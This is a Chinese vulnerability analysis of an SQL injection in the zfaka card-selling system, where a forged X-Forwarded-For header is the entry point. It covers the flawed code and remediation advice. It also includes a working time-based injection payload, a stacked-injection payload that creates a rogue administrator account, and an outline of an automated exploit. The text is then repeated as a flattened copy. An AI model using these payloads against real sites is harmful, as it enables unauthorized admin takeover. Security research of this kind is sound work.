zfaka sql注入分析
字数 1009 2025-08-05 08:19:32

zfaka SQL注入漏洞分析与利用教学

漏洞概述

zfaka是一款开源的发卡系统,在2021年7月11日之前版本中存在SQL注入漏洞。该漏洞位于IP地址获取功能中,由于对X-Forwarded-For等HTTP头处理不当,导致攻击者可通过构造恶意HTTP头实现SQL注入,甚至执行任意SQL语句(包括堆叠注入)。

漏洞位置

漏洞主要存在于以下文件中:

  • application/function/F_Network.php - 存在问题的IP获取函数
  • application/modules/Product/controllers/Query.php - 漏洞触发点

漏洞分析

1. 问题函数分析

getClientIP()函数位于application/function/F_Network.php中,该函数用于获取客户端真实IP地址。问题在于:

  • 函数遍历XFF等header头获取IP
  • 获取XFF后仅根据逗号截断获取第一个值
  • 未对获取的IP进行任何过滤或转义

2. 漏洞触发流程

  1. 用户访问订单查询功能(product/query/)
  2. 系统调用getClientIP()获取客户端IP
  3. 获取的IP值直接拼接到SQL查询中
  4. 构造恶意XFF头可注入SQL语句

3. SQL注入点

application/modules/Product/controllers/Query.php第151行,存在如下查询:

$order = $this->model->where('orderid', $orderid)
                    ->where('isdelete', 0)
                    ->where('ip', getClientIP())
                    ->orderBy('id', 'desc')
                    ->select();

最终生成的SQL语句类似:

SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = "用户控制的输入"

漏洞利用

1. 基本注入测试

通过修改X-Forwarded-For头可进行注入测试:

X-Forwarded-For: "or sleep(2)-- x

生成的SQL语句:

SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = ""or sleep(2)-- x" AND addtime>=1624844145 ORDER BY `id` desc

2. 堆叠注入利用

该漏洞支持堆叠注入,可以执行多条SQL语句。示例利用脚本关键部分:

headers['X-Forwarded-For'] = '1111";insert into t_admin_user(`id`) values (\'{RandomNum}\');UPDATE t_admin_user SET `email`=\'{EMAIL}\' WHERE id = \'{RandomNum}\' ;UPDATE t_admin_user SET `password`=\'76b1807fc1c914f15588520b0833fbc3\' WHERE id = \'{RandomNum}\';UPDATE t_admin_user SET `secret`=\'78e055\' WHERE id = \'{RandomNum}\'#'

3. 自动化利用脚本

完整利用流程:

  1. 获取CSRF_TOKEN和session
  2. 获取验证码(需要人工输入)
  3. 构造恶意XFF头添加管理员
  4. 使用添加的管理员账户登录

漏洞修复

官方修复方案:

  1. 对获取的IP地址进行严格验证
  2. 使用参数化查询或预处理语句
  3. 过滤特殊字符

防御建议

  1. 对所有用户输入进行严格过滤和验证
  2. 使用预处理语句或ORM框架
  3. 最小化数据库用户权限
  4. 更新到最新版本

总结

该漏洞展示了常见的安全问题:

  • 未过滤的用户输入直接用于SQL查询
  • 过度信任HTTP头信息
  • 缺乏参数化查询

通过此案例,开发者应更加重视输入验证和安全编码实践,特别是在处理用户可控数据时。

zfaka SQL注入漏洞分析与利用教学 漏洞概述 zfaka是一款开源的发卡系统,在2021年7月11日之前版本中存在SQL注入漏洞。该漏洞位于IP地址获取功能中,由于对X-Forwarded-For等HTTP头处理不当,导致攻击者可通过构造恶意HTTP头实现SQL注入,甚至执行任意SQL语句(包括堆叠注入)。 漏洞位置 漏洞主要存在于以下文件中: application/function/F_Network.php - 存在问题的IP获取函数 application/modules/Product/controllers/Query.php - 漏洞触发点 漏洞分析 1. 问题函数分析 getClientIP() 函数位于 application/function/F_Network.php 中,该函数用于获取客户端真实IP地址。问题在于: 函数遍历XFF等header头获取IP 获取XFF后仅根据逗号截断获取第一个值 未对获取的IP进行任何过滤或转义 2. 漏洞触发流程 用户访问订单查询功能( product/query/ ) 系统调用 getClientIP() 获取客户端IP 获取的IP值直接拼接到SQL查询中 构造恶意XFF头可注入SQL语句 3. SQL注入点 在 application/modules/Product/controllers/Query.php 第151行,存在如下查询: 最终生成的SQL语句类似: 漏洞利用 1. 基本注入测试 通过修改X-Forwarded-For头可进行注入测试: 生成的SQL语句: 2. 堆叠注入利用 该漏洞支持堆叠注入,可以执行多条SQL语句。示例利用脚本关键部分: 3. 自动化利用脚本 完整利用流程: 获取CSRF_ TOKEN和session 获取验证码(需要人工输入) 构造恶意XFF头添加管理员 使用添加的管理员账户登录 漏洞修复 官方修复方案: 对获取的IP地址进行严格验证 使用参数化查询或预处理语句 过滤特殊字符 防御建议 对所有用户输入进行严格过滤和验证 使用预处理语句或ORM框架 最小化数据库用户权限 更新到最新版本 总结 该漏洞展示了常见的安全问题: 未过滤的用户输入直接用于SQL查询 过度信任HTTP头信息 缺乏参数化查询 通过此案例,开发者应更加重视输入验证和安全编码实践,特别是在处理用户可控数据时。